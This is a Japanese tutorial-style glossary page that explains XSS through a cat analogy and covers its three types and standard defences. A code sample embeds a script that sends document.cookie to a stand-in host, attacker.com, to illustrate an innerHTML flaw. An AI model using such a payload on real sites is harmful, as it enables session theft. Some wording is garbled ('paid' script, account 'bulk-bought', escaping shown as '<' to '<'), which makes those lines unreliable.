XSS
Cross-Site Scripting
脆弱性のあるWebサイトを媒介にし、悪意のある有料の不正スクリプト(JavaScriptなど)を閲覧者のブラウザ上で実行させることで、クッキー情報の窃取やサイトの改ざんを行う攻撃手法。
🐾 猫で例えると?
お気に入りの狭い特等席でまったりしていた茶トラですが、後からやってきたアメショが強引にその隙間にぬるりと割り込んできました。もともとの快適な空間を無視して、外部から予期せぬコードが無理やり注入された結果、中の処理が著しく圧迫されて不穏な空気が流れています。この「本来の構成にないものが強引に入り込んで挙動を狂わせる」シチュエーションは、まさにWebサイトが受けるXSS攻撃の縮図です。
🐾 猫あるある:IT現場の日常
- 他人の皿の残飯を混ぜる:正規のデータ出力領域に不正なコードを混入させ、表示内容や処理のプロセスを意図的に書き換える攻撃。
- 家の各所に匂いを付ける:信頼されたドメイン内に偽のセッション情報や権限を付与し、正規のユーザーになりすます処理。
- 想定外の部品を誤飲する:アプリケーションが意図しない形式の命令文を受け付け、本来の設計とは異なる挙動を実行する現象。
💻 セキュリティにおける「XSS」とは?
XSS(クロスサイトスクリプティング)は、Webアプリケーション開発において最も警戒すべき重要セキュリティリスクの一つです。動的にページを生成するWebサイトにおいて、ユーザーからの入力値を適切に処理(サニタイズ)せずにそのままブラウザに出力してしまう脆弱性を突いて実行されます。
攻撃者が掲示板や検索窓などに、JavaScriptのコード(例:<script>〜</script>)を含んだ悪意ある文字列を投稿すると、そのサイトを訪れた一般の閲覧者のブラウザは、それを「サーバーから送られてきた正しいプログラム」と誤認してそのまま実行してしまいます。ブラウザ上で動くJavaScriptは、そのドメインのクッキー(Cookie)情報にアクセスできるため、ログインセッションを管理するセッションIDが盗まれ、アカウントを完全に大人買いされる「セッションハイジャック」などの深刻な被害に直結します。
⚠️ XSSの仕組みと種類
XSSは、その攻撃コードがどこを経由してどのように実行されるかによって、大きく3つのタイプに分類されます。それぞれの特性に合わせた多層防御が必要です。
XSSの3大分類
1つ目は「格納型(蓄積型)XSS」で、攻撃コードが一度Webサイトのデータベースに保存され、そのページを開いた不特定多数のユーザー全員に被害が及ぶ最も危険なタイプです。2つ目は「反射型XSS」で、悪意あるリンクをクリックした瞬間に、URLに含まれるスクリプトがそのまま画面に跳ね返って実行されます。3つ目は「DOM-based XSS」で、サーバーを介さずブラウザ側のJavaScriptの処理に起因して発生します。
// 脆弱なコード例(サニタイズなしで出力をそのまま埋め込んでいるケース)
const userInput = "<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>";
// ユーザー入力をそのままHTMLとして解釈させると、攻撃スクリプトが発火する
document.getElementById('output').innerHTML = userInput;
// 安全なコード例(テキストとして明示的に扱う)
// 構文木を破壊せず、ただの文字列としてレンダリングするため安全
document.getElementById('output').textContent = userInput; このように、入力された値をHTMLのコードとして解釈させるのではなく、純粋な「テキストデータ」として厳密に扱うようプログラミングすることが防御の第一歩となります。
🛠️ XSS脆弱性を作り込まないためのポイント
Webシステムを構築・運用する上で、不正なスクリプトの実行を確実に防止するための必須対策です。
- エスケープ(無害化)処理の徹底: HTMLにおいて特別な意味を持つ文字(「<」「>」「"」「'」「&」など)を、それぞれ「<」「>」といった実体参照に置換して無害化します。
- CSP(Content Security Policy)の設定: HTTPレスポンスヘッダにCSPを定義し、ブラウザに対して「許可された信頼できるドメインからしかスクリプトを読み込まない」というルールを強制します。
- クッキーへのHttpOnly属性付与: セッションを管理する重要なクッキーに対してHttpOnly属性を設定すると、ブラウザ上のJavaScriptからそのクッキーを読み取ることが不可能になり、漏洩リスクを最小限に抑えられます。
優しいアメショが無理やり割り込んできても茶トラが「シャー」と怒らないように、システム側が想定外の入力に対して寛容すぎると、予期せぬスクリプトに主導権を握られてしまいます。どんな割り込みに対しても、フィルターという心の壁をしっかり作って、安全なマイルームを守り抜きましょう。